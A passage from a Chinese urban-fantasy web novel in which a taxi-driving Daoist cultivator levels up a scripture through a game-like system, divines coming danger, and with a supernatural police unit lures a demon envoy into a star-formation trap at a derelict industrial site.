古德转手卖给岚婆,中间抽点成,再加上他自己平时开车,顺手收拾掉一些不长眼,试图搭便车不给钱,或者纠缠乘客的游魂野鬼,林林总总,积累了将近8000点阴德。
使得他的总阴德点数,早已远远超过了系统下一次升级所需的三万点门槛。
然而,奇怪的是,系统界面那个升级提示,一直显示着“升级中,请稍候……”的字样。
下面那个进度条磨磨蹭蹭地向前爬行,慢得让人心焦,迟迟不见完成。
古德在心里吐槽了这破系统几句“效率低下”。
但好在系统的基础功能,比如查看属性、加点提升技能等都还能正常使用,古德抱怨了几句后,也就由它去了,反正阴德攒够了,升级是早晚的事。
另外,还有一个现象让古德稍微留了点心。
那个之前上蹿下跳、给他找了不少麻烦的怪谈协会,在这半个月里,异常地安静。
仿佛一夜之间彻底销声匿迹了,再也没有派什么小鬼小怪或者不开眼的成员来找茬。
这种反常的平静,反而让古德觉得,对方可能正在暗中酝酿着什么更大的阴谋。
不过,今时不同往日。古德掂量了一下自己系统账户里那17600点公里数和充足的阴德,心里踏实得很。
他现在是兵精粮足,底气十足,一点都不慌。
想到这里,古德心情更好了。
今晚,他决定给自己放个小假,不去拉夜活挣那三瓜两枣了。
他看了眼时间,方向盘一打,直接朝着元朗方向驶去。
第233章 第一个LV4技能
回到元朗那栋静谧的小洋楼,古德先舒舒服服地泡了个热水澡,洗去一身的风尘与疲惫。
他换上一身宽松舒适的棉麻家居服,感觉整个人都松弛了下来。
今晚,他打算做一件重要的事。那是梭哈掉所有的公里点数。
独自一人上了二楼的主卧,古德反手轻轻带上门。
窗外,一弯新月挂在墨蓝色的天幕上,清冷的月光如水银泻地,透过窗纱,在木地板上投下斑驳的光影。
他没有开大灯,只拧亮了书桌上一盏老式的绿罩台灯,昏黄的光晕笼罩着房间一角,气氛宁静中带着几分适合修炼的肃穆。
他走到房间中央,那里早已备好一个蒲团。
盘膝坐下,调整呼吸,让心绪渐渐平复,摒除一切杂念。
待到灵台一片空明,古德才将心神沉入系统界面。
看着那高达17600点的公里点数,他不再犹豫,目标明确。
“系统,”古德在心中默念,语气带着一丝难以抑制的兴奋。
“消耗10000点公里点数,将根本**《黄庭内景玉经》,提升至LV4!”
“叮!确认消耗公里点数10000点。《黄庭内景玉经》提升至LV4。”
系统冰冷而清晰的提示音在脑海中响起。
下一秒,异变陡生!
古德浑身猛地一震,仿佛有一股无形的洪流,从头顶百会穴轰然灌入!
那并非痛苦的冲击,而是一种无法用言语形容的、极致的舒泰感,仿佛每一个沉睡的细胞都在欢呼雀跃,生命本源都在发生着美妙的跃迁!
他的意识瞬间模糊,被拉入了一个玄之又玄、难以言喻的奇妙境界。
在这境界中,时间失去了意义。
古德感觉自己仿佛变成了一块干燥的海绵,被投入了知识的海洋。
关于《黄庭内景玉经》的种种奥义,那些以往需要苦思冥想、甚至不得其门而入的精微之处,此刻如同早已烙印在灵魂深处一般,自然而然地浮现、理解、融会贯通。
一种将这门玄奥无比的道家根本**,苦苦修炼了三四十年之久的深厚感悟,凭空诞生,并迅速成为他自身的一部分!
与此同时,他体内那依照经文所述、观想存思而成的三百六十五处“身神”,原本只是意念中微弱黯淡的光点,此刻如同被注入了无穷活力,齐齐绽放出明亮而柔和的光芒!
它们变得前所未有的清晰、凝实,仿佛一尊尊微缩的神祇,盘踞在各自的窍穴要地,并且拥有了独立的灵性!
每一种身神所代表的、对应人体某种奥秘的“小神通”,也如同本能般浮现在古德的意念之中。
是“洞察”秋毫,是“内视”经络,是“辟谷”食气,是“神行”御风……种种妙用,心念微动,即可施展,如臂使指,再无滞碍!
与此同时,他模糊地感觉到系统似乎以某种难以理解的方式,在他头顶的虚空之处,强行撬开了一个极其微小、却稳定存在的通道!
通道的另一端,连接着一个充满高等能量的异次元空间!
一种比普通灵气更高级的能量,如同醍醐灌顶般,源源不断地灌注进他的四肢百骸、经脉窍穴!
这股能量是如此的精纯和庞大,以至于古德周身所在的这片小天地都受到了影响!
空气中的尘埃在能量流中轻轻舞动,房间内的光线似乎都变得灵动了几分,一种万物复苏般的活跃感弥漫开来。
在外界,某种沉寂已久的世界规则,被这股能量短暂地激活了一瞬,但紧接着,又被一股更宏大的,无形的力量给压制了下去,恢复了平静。
这细微的波动,与此刻正沉浸于生命层次飞跃那巨大快感中的古德无关,他全然未曾察觉。
他的法力,以前所未有的速度疯狂暴涨、凝练!
经脉被拓宽,丹田气海如同真正的海洋般汹涌澎湃!
一种脱胎换骨、生命层次得到本质提升的感觉,充斥着他的灵魂!
……
楼下,客房内。
鼠尾草魔阿草,正盘膝坐在床上,按照古德传授的法门,尝试凝练和掌控自身的魔元。
突然,她猛地睁开了眼睛,脸上露出了极度震撼和难以置信的神色!
她感受到了一股……一股早已在人间绝迹的、精纯到无法想象的灵气!
不,甚至不能简单称之为灵气,那是一种更高级的能量!
虽然只有极其微弱的一丝,从二楼古德的房间缝隙中逸散下来,但被她敏锐无比的灵觉捕捉到,并下意识地吸入一丝后,那效果堪称恐怖!
她停滞多年、几乎看不到增长希望的魔元,竟然像是久旱逢甘霖,有了一丝清晰可见的增长!
连她那由怨念和魔气构成的魂魄,都感到一阵前所未有的舒畅与熨帖,仿佛被最纯净的泉水洗涤过一般!
“这……这是……先天之气?不……不可能啊……这方天地怎么可能还有这种能量……”
阿草心中掀起了惊涛骇浪,她几乎是本能地、贪婪地吸收着那逸散下来的微弱能量,一边疯狂运转**炼化,一边用混合着敬畏、恐惧和极度好奇的目光,望向二楼天花
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板的方向。
“主人……他到底是什么来历?竟然能引动这种早已湮灭在传说之中的能量……难道他真是……”
她不敢再想下去,但古德在她心中的形象,变得更加神秘、高大、深不可测。
……
不知过了多久,也许是一瞬,也许是永恒。
二楼卧室中,那汹涌的能量灌注逐渐减弱,最终停止。
虚空中的细微通道悄无声息地闭合,仿佛从未出现过。
古德缓缓睁开了双眼。在他眼眸开阖的刹那,竟有淡淡的、如同实质般的金色毫光一闪而逝,旋即隐没。
他整个人的气质发生了翻天覆地的变化。
如果说之前是内敛中藏着一丝出鞘利刃般的锐利,那么此刻,就是一种深不见底、渊渟岳峙的宗师气度。
他静静地坐在那里,仿佛与周围的空气、光线、尘埃都融为了一体,和谐自然,却又隐隐超脱于这方小天地之上。
他仔细感受着体内奔腾不息、如同长江大河般雄浑精纯的法力,意念扫过那三百六十五尊熠熠生辉、各司其职、仿佛拥有生命的身神,一股强大的自信和喜悦,终于忍不住涌上心头,化作脸上一抹抑制不住的、畅快淋漓的笑容!
“**境!我竟然……就这么踏入了**境!”
虽然只是初窥此境门径,但古德能清晰地感觉到,自身灵觉对世界的感知变得更加敏锐,能察觉到更多以往被忽略的、隐晦的规则信息和能量流动。
法力无论是质量还是总量,都比突破前强了数倍不止!
这是一种质的飞跃!
更重要的是,那些身神小神通,已然成为他本能的一部分。
诸如“透视”、“内视”、“辟谷”、“神行”等等,都已了然于胸,运用自如!
可以说,以他现在的实力,在这个灵气稀薄、道法衰微的末法时代,只要不去作死招惹那些国家机器,基本上已经可以横着走了!
古德嘴角微微上扬,勾起一抹略带冷意和玩味的弧度。
他望向窗外沉沉的夜色,目光仿佛穿透了空间的距离,看到了那个隐藏在暗处,这段时间异常安静的怪谈协会。
“怪谈协会么……”
古德低声自语,声音平静,却带着一种掌控力量的从容,“希望你们准备的大礼,不要太让我失望才好。我等着你们……来送死。”
感受着体内澎湃的力量,古德对即将可能到来的风暴,非但没有丝毫紧张,反而充满了期待。
他现在,很缺一些像样的靶子,来试试这**境的锋芒。
第234章 越来越丰富的面板
突破**境的余韵,如同暖流般在四肢百骸中缓缓流淌,带来一种前所未有的充实与掌控感。
古德没有急于起身,他依旧盘膝**,心神沉凝,唤出了那面只有他自己能看见的系统面板。
淡蓝色的光幕在意识中展开,数据清晰浮现:
【姓名:古德】
【体质:9/10】(气血充盈,百病不侵,体能远超常人极限)
【魅力:9/10】(气质超凡,亲和力与威慑力并存,易引人注目与信服)
【精神:11/∞】(突破常人极限,神魂稳固,灵觉敏锐,感知范围与精度大幅提升)
【法力:21/∞】(真气磅礴,运转如意,已初步具备干涉现实法则的根基)
【当前可用公里点数:7600点】
【当前阴德点数:升级中...】
【已掌握主要技能】:
黄庭内景玉经(LV4):道家根本**,内景身神显化,诸般小神通初具雏形。
金光咒(LV3/10):护体金光凝实,破邪诛魔威力大增。
炁体源流(LV3/10):对天地万物气机流转感知更为深刻,法力恢复速度加快。
**(LV3/10):雷霆之力更为精纯刚猛。
梅花易数(LV2/10):卜算能力提升,心念动处,可窥见一丝天机轨迹。
……(其他技能略)
目光扫过属性栏,古德心中微微一动,泛起一丝惊喜。
“法力竟然直接飙升到了21点!”
他仔细感知着体内那如同江河奔涌的法力。
这与之前仅仅11点的法力相比,绝非简单的数字翻倍,而是质与量的双重飞跃!
是一种生命层次跃迁带来的根本性变化。
若说之前的法力是溪流,如今便是奔涌的大江,其雄浑、精纯程度,以及蕴含的潜能,都不可同日而语。
每一次大境界的突破,带来的都是指数级的增长。
更让他意外的是,精神属性竟然也自行提升了一点,达到了11点,突破了极限。
显然是《黄庭内景玉经》突破到LV4时,**自然运转,带动了神魂的淬炼与升华,使得灵觉更加敏锐,心神更为稳固。
这算是突破带来的额外惊喜了。
不过想要提升更多,则需要修行专修神魂的**,体质也是。
不然只能靠黄庭内景玉经的被动提升。
“7600点公里点数……”
他的目光落在可用点数上。
这无疑还是一笔巨款,但当他心念微动,尝试预览加点法力所需的消耗时,眉头不禁轻轻一挑。
“提升1点法力,竟需要3000点公里数了?”
这消耗幅度,比之前提升了不少。
眼下这7600点,满打满算也仅够提升2点法力,将法力值堆到23点。
虽然依旧能带来可观的增长,但投入与产出比,似乎不如将点数存下来,用于将来将《金光咒》或《炁体源流》这类核心运用法门也提升到LV4来得划算。
LV4的根本法,配以LV3的运用之术,终究有些头重脚轻。
若能双双晋升LV4,实力必将再上一个台阶。
而炁体源流提升也可以让古德的基础更为牢固,同时也可以知道接下来应该学习哪一个修神魂和炼体的**。
“这样的话,点数先存着。眼下法力已然够用,不必急于一时。待系统升级完成,看清后续路径再作打算不迟。”
古德心中已有计较。
他心念一动,关闭了系统面板,长身而起,周身骨节发出一阵细微而清脆的爆鸣声。
第二天清晨,天光微亮。
古德缓步走下楼梯。
餐厅里,阿草
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早已起身,依旧穿着那身黑白相间的女仆装,正动作轻快地将准备好的早餐摆上餐桌。
热气腾腾的生滚粥,金黄酥脆的油炸鬼,几碟清爽小菜,简单却透着用心。
听到脚步声,阿草立刻转过身来。
当她的目光触及古德时,那双妩媚的眸子瞬间亮了起来,里面充满了毫不掩饰的惊叹、敬畏,以及一种近乎崇拜的光芒。
她能够清晰地感觉到,经过一夜的沉淀,古德身上那股与天地自然圆融一体的**气息,非但没有内敛,反而更加浑厚自然,令人心生敬畏的同时,又忍不住想要靠近。
尤其是想到昨日那逸散出的让她受益匪浅的先天之气,她看向古德的眼神更是复杂难明。
古德被阿草这灼热的目光看得有些莫名其妙,摸了摸自己的脸,问道:“怎么?我脸上有东西?”
“啊?没、没有!”
阿草连忙摇头,脸上飞起一抹红晕,慌忙低下头,声音带着一丝不易察觉的颤抖。
“老板您……您今天的气色特别好,感觉……感觉整个人都在发光似的。”
她这倒不完全是奉承,在她的灵觉中,古德周身确实萦绕着一层淡淡的、常人无法看见的清圣光晕。
古德闻言,不置可否地笑了笑,走到主位坐下。
他也察觉到了阿草身上的变化,气息比之前凝实了不少,魔元运转间更显灵动,显然昨日那点逸散的先天之气,让她得了不小的好处。
“你的修为也精进了不少,看来昨天没白修炼。”
古德拿起筷子,随口说了一句。
阿草心中一喜,连忙恭敬地应道:“都是托老板的福。”
她小心地替古德盛好粥,然后安静地侍立在一旁,眼神却依旧忍不住往古德身上瞟,心里琢磨着这位主人究竟是何方神圣,竟能引动那般传说中的能量。
第235章 鱼已上钩,速烧水
用餐完毕,阿草一边利落地收拾碗筷,一边轻声问道:
“老板,今天咱们有什么安排?还是照常出车吗?”
她知道古德对这辆出租车有着超乎寻常的执着,似乎开车本身就能带来某种重要的收获。
古德用餐巾擦了擦嘴,打了个响指,语气轻松地说道:“当然,老本行不能丢。准备一下,开工。”
“是,老板!”阿草应道,动作更加麻利。
她深知这辆车的神异,也隐约猜到古德如此热衷于开车,必定有其深意。
尤其是昨天感受到那不可思议的灵气后,她更加确信古德身上藏着天大的秘密。
但她是个聪明的魔,深知什么该问,什么不该问。
只要紧跟古德的脚步,好处自然少不了。
她快速将厨房收拾妥当,然后乖巧地拿起古德习惯带出门的帆布挎包,安静地站在门厅等候。
古德上楼换了一身轻便的休闲服,重新下楼。
他推开小洋楼那扇有些年头的木制大门,清晨略带凉意、夹杂着草木清香和淡淡晨露气息的空气扑面而来。
他深吸一口气,正准备迈步而出。
就在左脚即将踏出门槛的瞬间!
古德的心头毫无征兆地猛地一跳!
一种难以言喻的悸动感,如同投入平静湖面的石子,瞬间荡开层层涟漪!
这不是恐慌,而是一种修行之人灵觉提升到一定境界后,对自身祸福吉凶产生的一种玄妙预感,俗称“心血来潮”!
“嗯?”
古德脚步瞬间定住,悬在门槛上方,眉头微蹙,忽然把目光扫向门外的景象。
在门前那棵老柳树上,五六只麻雀不知为何,正为了一根枯细的树枝激烈地争斗着,叽叽喳喳,羽毛纷飞,显得异常焦躁亢奋,全无平日的机警灵动。
视线下移,一根约莫小儿臂粗、早已干枯失去生机的桃木枝,不偏不倚,正正地横亘在院门出口通往主干道的小路中央,位置刁钻,仿佛被人刻意放置。
抬头东望,天际已露鱼肚白,但一团边缘清晰、色泽沉郁的乌云,却恰好堵在了即将跃出地平线的朝阳前方,将清晨应有的蓬勃朝气遮挡得严严实实,投下了一片压抑的阴影。
这几个看似寻常却又透着诡异的外应,在古德脑海中定格、串联、放大!
梅花易数的法门自行运转起来。
“象已具,当下取数起卦。”
古德心念电转,摒弃杂念,依据“远取诸物,近取诸身”的原则,结合眼前景象,开始取数定卦。
争斗的麻雀,仔细一数,共有5只。观雀争数,雀争主口舌是非,纷扰之象。数取5。
拦路之枯桃木,桃木虽能辟邪,但枯死则失其性,反主阻碍。
其形直长为“巽”木之象,巽卦序数为5。数再取5。
东方乌云蔽日,东方属“震”木,但乌云遮天,光明受阻,更应“兑”卦之象,兑为泽,为缺,为暗。
兑卦序数为2。数取2。
上卦为兑,下卦为巽,合为泽风大过卦。
变卦为大过卦第三爻
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由阴变阳,下卦巽变为坎,得变卦泽水困。
卦象一成,古德心中顿时了然,一丝明悟划过心头。
本卦泽风大过,是为泽水淹没木舟,有栋梁桡折之象,寓意处境极端凶险,危机四伏,有颠覆之忧。
正应了当前暗流涌动、强敌环伺之局。
变卦泽水困,泽上无水,困于淤泥,象征前途受阻,行动艰难,陷入困境。
这表明即便有所行动,过程也将充满阻滞,难以顺利达成目标。
结合外应,雀争主口舌是非、人事纷扰;枯木拦路主前行受阻、计划生变;乌云蔽日主运势低迷、时机不佳。
“原来如此。”
古德轻吸一口气,嘴角反而浮现出一抹预料之中的冷冽弧度,眼中精光一闪而逝。
“卦象大凶,前路多艰,有困顿之险……看来,我等的客人,终究是耐不住寂寞,要上门了。”
他非但没有因卦象显示的凶险而退缩,反而有一种猎物进笼的踏实感。
蛰伏已久的怪谈协会,终于要露出獠牙了。
而这,正合他意!
古德站在小洋楼的门廊下,清晨微凉的风拂过面颊。
他没有丝毫犹豫,掏出了那个略显笨重的翻盖手机,“啪”地一声掀开盖子,熟练地按下了一个快捷键。
电话接通的速度很快。
“喂,阿潮。”
古德的声音平稳如常,听不出任何波澜,但说出的内容却让电话那头的人精神一振。
“鱼已上钩,可以开始烧水开锅了。”
第236章 青山公墓吗?
电话另一端,异灵灵异部门的办公室内,谢潮正对着一张铺满地图和照片的白板凝神思索。
听到听筒里传来的声音,他眉头先是一挑,随即嘴角控制不住地向上扬起,露出一抹兴奋的笑容。
他对着话筒,语气干脆利落:
“明白!大鱼既已咬饵,我这口大锅早就备好了,就等它下锅沸煮!地点和流程按原计划,我马上安排。”
“好,保持联络。”
古德简短回应,随即合上了手机。
一切尽在不言中。
谢潮这边,结束通话后,他深吸一口气,转身面向虽然看似松散、但实则时刻待命的团队成员们,用力拍了拍手,声音不大,却清晰地传遍了整个房间。
“各位!醒醒神,开工了!”
这一声如同投入平静湖面的石子,瞬间激起了涟漪。
角落沙发上,正抱着电话跟女友张敏腻歪,声音肉麻得能挤出糖来的周星星,闻声一个激灵,立刻对着话筒飞快说道:
“喂?阿敏啊!乖,我这头有紧急任务!大佬召唤,生死攸关!回头再同你聊!爱你哦!拜拜!”
不等对方回应,他就“啪”地挂了电话,动作敏捷得像只猴子,脸上轻佻的表情瞬间被严肃取代,一把抓起了靠在沙发边的打鬼棒。
另一边,马季和郑立正围在一张临时拼凑的桌子旁打牌。
马季脸上已经贴满了白色纸条,几乎看不清五官,显然输得很惨。
他正偷偷摸摸地想用眼神示意在后面观看的石敢当求助,听到谢潮的声音,如蒙大赦,立刻把牌一扔,嚷嚷道:
“不打了不打了!头叫我们!肯定是大案子!阿立,这把不算啊,下次再赢你!”
这马季明显是被周星星带坏了。
郑立憨厚地笑了笑,也不计较,默默收起牌,检查起自己缠在腰间的法鞭。
正在窗边安静阅读一本厚厚古籍的高彦博,闻言轻轻合上书,推了推鼻梁上的金丝眼镜,目光沉静地望向谢潮,等待指令。
这时,指挥室的门被推开,于子朗带着得仔走了进来,两人手里还提着几大袋刚买回来的热气腾腾的早餐,包子、肠粉的香味弥漫开来。
“阿潮,什么事?这么早召集大家?”
于子朗看到室内气氛,立刻意识到有行动。
谢潮目光扫过瞬间进入状态的众人,满意地点点头,言简意赅地下达指令:
“刚接到阿德电话,他那边确认了,鱼已上钩。所有人,按照我们之前反复推演过的预案A执行!阿朗,你带一下得仔,他如今也学会请神法,这次算他一个。
彦博、阿星、阿季、阿立,检查装备,五分钟后出发。我通知莫作栋,让后勤部的兄弟启动车辆,按预定路线分散前往目标区域,注意隐蔽!”
“Yes,Sir!”众人齐声应道,没有丝毫拖泥带水。
整个部门像一台精密的机器,瞬间高效运转起来。
嬉笑打闹的神色从每个人脸上褪去,取而代之的是职业性的冷峻和专注。
周星星熟练地检查着符箓包和法器**,马季一边扯下脸上的纸条,一边低声跟石敢当交流。
郑立默默将法鞭在手中挽了个鞭花,高彦博则去拿他的钟馗宝剑。
于子朗则拉着还有些懵懂的得仔,低声向他解释起这次的注意事项。
不过几分钟功夫,通过部门内部一条不引人注目的特殊通道。
二十多辆看似普通,内部却经过改装、满载人员和装备的车辆,悄无声息地驶出了总部,如同汇入溪流的鱼群,向着预设的伏击地点分散驶去。
视线转回古德这边。
挂断电话后,古德神色如常地走向停在小院里的那辆红色出租车。
一直留意着他一举一动的阿草,敏锐地捕捉到了他刚才那个电话以及瞬间变化的气场。
她那双妩媚的眼睛里顿时闪烁起兴奋的光芒,像发现了什么极有趣的事情,几步凑到古德身边,压低声音,带着几分跃跃欲试的期待问道:
“老板?看这架势……是要上演大结局了吗?终于要和那些藏头露尾的家伙做个了断了?”
古德闻言,停下脚步,没好气地伸出手指,不轻不重地在她光洁的额头上弹了一下,发出“咚”的一声轻响。
“哎哟!”
阿草夸张地捂住额头,委屈巴巴地看着古德。
“小小妖魅,懂什么规矩?”
古德笑骂一句,语气带着几分告诫,“这种时候别乱插旗(立flag),安心做好你的事。结局如何,打过才知道。”
阿草吐了吐舌头,不敢再多嘴,但眼神里的兴奋劲儿却没减多少,连忙乖巧地帮古德拉开车门,自己则绕到另一边坐进了副驾驶。
古德系好安全带,发动了车子。
引擎发出低沉平稳的轰鸣。
他并不清楚怪谈协会的人会以何种方式、在何时何地出现。
卦象只显示凶险和阻碍,却不会标明具体的时间地点。
以静制动,见招拆招,是目前最好的选择。
他决定像往常一样,开车上路,融入这座城市的车流中,等待对方先出牌。
出租车缓缓驶出小巷,汇入了清晨逐渐繁忙起来的街道。
阳光透过高楼间隙洒下,车水马龙,一切看起来与往常并无不同。
然而,这份平静并未持续太久。<
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br>车子刚驶过两个路口,在一个相对僻静的红绿灯前停下等待时,一道略显佝偻、穿着深灰色老旧中山装的身影,突兀地出现在了路边,并朝着出租车招了招手。
古德目光一凝,瞬间锁定了这个人。
此人看上去约莫五十多岁,身材矮小瘦削,背微微驼着,脸上架着一副老式的圆框墨镜,几乎遮住了大半张脸,让人看不清具体样貌和眼神。
最引人注目的是,在这并不算晴朗的早晨,他手中却紧紧握着一把黑色的长柄雨伞,伞骨乌黑,伞面厚重,仿佛能吸收周围的光线。
整个人透着一股与周遭环境格格不入的阴郁和陈旧气息。
更重要的是,在古德已然踏入**境的法眼观照下,此人周身缠绕着一股凝而不散,混杂着土腥与腐朽味道的浓烈妖气!
而在他手中那把看似普通的黑伞之内,更是封印着一道极其凶戾、充满怨恨的邪灵气息,蠢蠢欲动!
“有点意思……”
古德心中冷笑,面上却不动声色。
他缓缓将车停靠在路边。
那名中山装男子动作略显僵硬地拉开车门,弯腰坐了进来,一股淡淡的、如同墓穴泥土般的阴冷气息也随之弥漫在车厢内。
他声音沙哑低沉,带着一种奇怪的腔调,报出了一个目的地:
“师傅,劳驾,去青山公墓。”
说完,他便往后座一靠,闭上了眼睛,双手依旧紧握着那把黑伞,仿佛真的只是一个普通的要去扫墓的沉默乘客。
“青山公墓……”
古德嘴角露出一丝冷笑。
果然是个好地方,偏僻,阴气重,确实是**越货、施展邪法的上佳场所。
看来对方是打算把他引到他们的主场去。
“好的,青山公墓。”
古德语气平淡地应了一声,仿佛只是一个接单的普通司机。
他熟练地挂挡,轻踩油门,出租车平稳地汇入车流。
然而,在下一个岔路口,古德却并未开向通往青山公墓最直接的那条路行驶,而是方向盘一打,拐向了另一条看似只是想绕个远路,但是其实是通往城郊工业区的道路。
想去青山公墓?那就想想吧!
那可不是埋葬你们最好的地方。
上了车,这路线怎么走,得由我这位司机说了算。
毕竟,方向盘在我手里。
古德透过后视镜瞥了一眼后座那个依旧闭目养神,仿佛对路线一无所察的中山装男人,眼中闪过一丝戏谑。
猎人与猎物的角色,从上车的那一刻起,或许就已经悄然互换了。
出租车载着各怀心思的一人两妖,向着未知的终局,疾驰而去。
第237章 我办事,你放心
地点是郊区某个角落,时间在中午时刻。
时近正午,本该是一天中阳气最盛的时候,但九龙城寨外这片被遗忘的荒芜之地,却依旧笼罩在一片令人不安的死寂之中。
毒辣的阳光直射下来,却仿佛照不进这片土地的阴霾,反而将那些锈迹斑斑的厂房骨架,坍塌的墙壁和破碎的玻璃映照得更加狰狞。
像一头头曝尸荒野的巨兽残骸,无声地诉说着曾经的喧嚣与如今的败落。
风,是这里唯一活跃的东西。
它穿过千疮百孔的窗洞和断裂的钢梁,发出时而尖锐、时而低沉的呜咽,像是无数冤魂在窃窃私语。
几条瘦得皮包骨头的野狗,原本正在一堆废弃集装箱投下的狭窄阴影里,为一点不知从何而来的腐肉残渣互相龇牙咧嘴、低声咆哮着争夺。
突然,它们齐刷刷地停止了撕咬,脏兮兮的毛发根根竖起,耳朵警觉地转向同一个方向,喉咙里发出混合着恐惧和威胁的“呜呜”声。
某种源自本能的、对极度危险存在的感知,让它们下一秒便惊恐万状地夹紧尾巴,头也不回地窜入废墟深处,消失得无影无踪。
就在这片死寂被野狗的逃窜打破又迅速重归之后,一阵低沉而克制的引擎轰鸣声由远及近。
这声音并不张扬,甚至有些刻意压抑,但在绝对的寂静中却显得格外清晰。
只见由二十多辆各式车辆组成的车队,如同幽灵般悄无声息地驶入了这片区域。
它们大多是外表普通的面包车、厢式货车,甚至还有几辆出租车混杂其中,但若细看,便能发现这些车的轮胎更厚实,车窗玻璃颜色也深得不正常。
车队最终在工业区中心一片相对开阔的废料堆放场分散停稳,动作整齐划一,显示出良好的组织性。
车门纷纷被推开,却没有发出多少杂音。
一道道身影迅速而矫健地跃下车,这些人穿着统一的深色作战服,动作利落,眼神锐利,默不作声地按照预先的分组迅速散开,占据有利位置,警惕地观察着四周。
瞬间,原本只有风声的废墟里,多了几十道沉稳的呼吸和轻微的脚步摩擦声,一种无形的张力弥漫开来。
谢潮从一辆经过防弹改装的黑色厢式车副驾驶位上下来,他今天穿了一身更便于活动的黑色冲锋衣。
他目光扫过周围的环境,微微点头,低声下令道:“接下来按第一套方案行动,快,利索点!”
命令下达,那些后勤队员的人们立刻行动起来。
他们沉默地打开车厢后门,从里面搬出一个个封装得极其严实的木箱和用特殊布料制成的厚实布袋。
箱子和袋子里装着的,是布置“周天星斗伏魔大阵”所需的各类特殊材料。
经过秘法炮制的矿石粉末、蕴含阳气的特定草木灰、刻画着符咒的玉石碎片、以及各种稀奇古怪但都散发着微弱能量波动的物品。
“阿星!”
谢潮看向一旁早就摩拳擦掌、跃跃欲试的周星星。
“到!”
周星星一个激灵,凑上前来,脸上是压抑不住的兴奋,但眼神深处却是一片清明和认真。
“你带人去天枢位。”
谢潮指着不远处一个相对完整的混凝土平台,“把七星主灯的第一盏给我稳稳地架
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起来!灯油的配方记牢了,**血和雄黄粉比例一丝一毫都不能错!”
“放心啦阿潮!我办事,你有咩唔放心嘎!(你就放宽心吧!)”
周星星咧嘴一笑,露出两排白牙,语气虽然还是那般跳脱,但动作却毫不含糊。
他转身一招手,几名身手最为敏捷、同样穿着作战服但气质更显精干的队员立刻出列。
他们小心翼翼地从一个特制金属箱里抬出一盏造型古朴表面刻满云纹和星图的青铜灯盏,又拎起两个密封的银色金属罐,里面装的正是调配好的特制灯油。
一行人如同训练有素的山地斥候,悄无声息地迅速消失在指定方向的断壁残垣之后。
“作栋!”谢潮的目光转向另一边正在检查装备的莫作栋。
莫作栋抬头的看向谢潮。
“你带C组,负责打下引星桩。”
谢潮递过去一张标有精确坐标的防水图纸。
“方位阿德已经提前测算好了,一共七处,对应北斗七星。桩子入地至少三尺,确保稳固,角度和位置不能有丝毫偏差!这是勾连星力的关键!”
“明白!保证完成任务!”
莫作栋接过图纸,迅速扫了一眼,然后朝着自己小组的成员打了个手势。
那一组队员立刻行动起来,两人一组,扛起那些看起来就沉重无比用百年以上的雷击枣木木心削制而成,内部还镶嵌着细密铜丝以导引能量的木桩,以及短柄高效的工兵铲,朝着图纸上标记的七个星位点快速奔去。
很快,不远处传来沉闷而规律的“咚!咚!”声,那是木桩被精准砸入大地深处的声响。
第238章 精心挑选的墓地
谢潮自己则带领剩下的大部分队员,展开此次布阵最显眼的部分,那就是阵旗。
这些阵旗并非普通布料,而是用特制的混纺帆布制成,旗面巨大。
旗面是用混合了金粉和三年大公鸡冠血的特殊墨汁,由古德亲手绘制上的繁复无比的北斗七星图与二十八宿星符。
每一笔每一划都蕴含着微弱的法力,在正午的阳光下,这些阵旗并非简单地反射光线,而是隐隐流动着一层不易察觉的、水波般的微光,仿佛有生命在其中呼吸。
队员们按照古德留下的阵图,将这些阵旗牢牢插入坚硬的地面,彼此呼应,勾勒出一个巨大而玄奥的图案。
随着阵旗的竖起、引星桩的打入,一种无形的“势”开始在这片废弃厂区悄然凝聚。
空气中的尘埃仿佛受到了某种牵引,不再无序飘浮,而是沿着特定的轨迹缓缓沉降。
若有道行高深之辈在此,便能清晰地感知到,这片土地下沉淀的阴煞地气,正被一种强大的力量强行梳理、引导,与空中那些遥不可及的星辰建立起一种微弱却坚定的联系。
古德精心设计的“周天星斗伏魔大阵”的基盘,正在快速成型。
它像一张无形而精密的大网,在这片阳光下的废墟中悄然张开,只待那位核心的主阵之人到来,便可注入最后的关键力量,彻底激活,展现出其伏魔诛邪的惊天威力。
不过,眼下这还只是一个半成品,一个极其逼真的陷阱外壳。
最核心的阵眼掌控、星辰之力的最终接引与调和,必须由古德亲自完成,无人可以替代。
当最后一面阵旗稳稳插入预定位置后,谢潮抬起手腕,看了看表,然后打了个简洁有力的手势。
所有参与布阵的人员,无论是明处的还是始终在暗处警戒的,都如同潮水般迅速后撤,借助厂房阴影、废弃机器和各种掩体,完美地隐藏起了自身的气息和踪迹。
整个工业区再次恢复了之前那种死寂,但一种远比之前浓郁十倍、几乎令人窒息的压抑感,却如同实质般笼罩了这里。
那是暴风雨来临前的宁静。
与此同时,工业区唯一还算完好的入口处,传来了轮胎碾过碎石路面的窸窣声响。
一辆红色的出租车,正不紧不慢如同寻常兜客一般,驶入了这片杀机四伏的区域。
后座上,那个自称要去青山公墓,一直闭目养神的佝偻男子,突然毫无征兆地睁开了眼睛。
墨镜后的目光扫过窗外荒凉破败的景象,他嘴角勾起一丝难以察觉的冰冷弧度,用沙哑的嗓音缓缓开口,打破了车内的沉默:
“年轻人,这里……好像不是去青山公墓的路吧?你是不是开错方向了?”
古德没有立刻回答,而是熟练地将出租车开到了工业区中心一片相对平整的空地,正好位于尚未完全激活的阵法核心区域。
他稳稳地踩下刹车,熄火,拔掉钥匙。
驾驶座的车门被推开,古德不慌不忙地走了下来。
他先是活动了一下脖颈,然后才转身,面向也缓缓推门准备下车的那位乘客。
午后的阳光有些刺眼,古德抬手稍微遮挡了一下,脸上带着一抹似笑非笑的表情,语气像是和老朋友聊天一样:
“错?没错啊,就是这里。青山公墓太挤了,风水也一般。我觉得这里更宽敞,更僻静,作为埋葬你们怪谈协会的集体墓地,再合适不过了。这可是
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我精心为你们挑选的风水宝地,保证你们住得舒心。”
那持伞男子闻言,不仅没有动怒,反而发出了一阵低沉而沙哑的笑声,那声音像是用砂纸摩擦生锈的铁片,异常难听。
他手持那把诡异的黑伞,步履从容地也走下車,在距离古德十步左右的地方站定。
他并没有急于动手,而是好整以暇地环顾四周,目光扫过那些隐藏在暗处的阵旗和引星桩,甚至还赞许似的点了点头。
“不错,真是不错。”
持伞男子转过身,墨镜下的目光似乎穿透了深色镜片,牢牢锁定了古德。
“年纪轻轻,洞察力倒是敏锐得很,胆子也够肥。知道是陷阱,还敢往里钻,甚至提前给我们准备好了这么隆重的欢迎仪式……可惜啊,真是可惜……”
他顿了顿,声音陡然转冷,带着一丝猫捉老鼠般的戏谑:
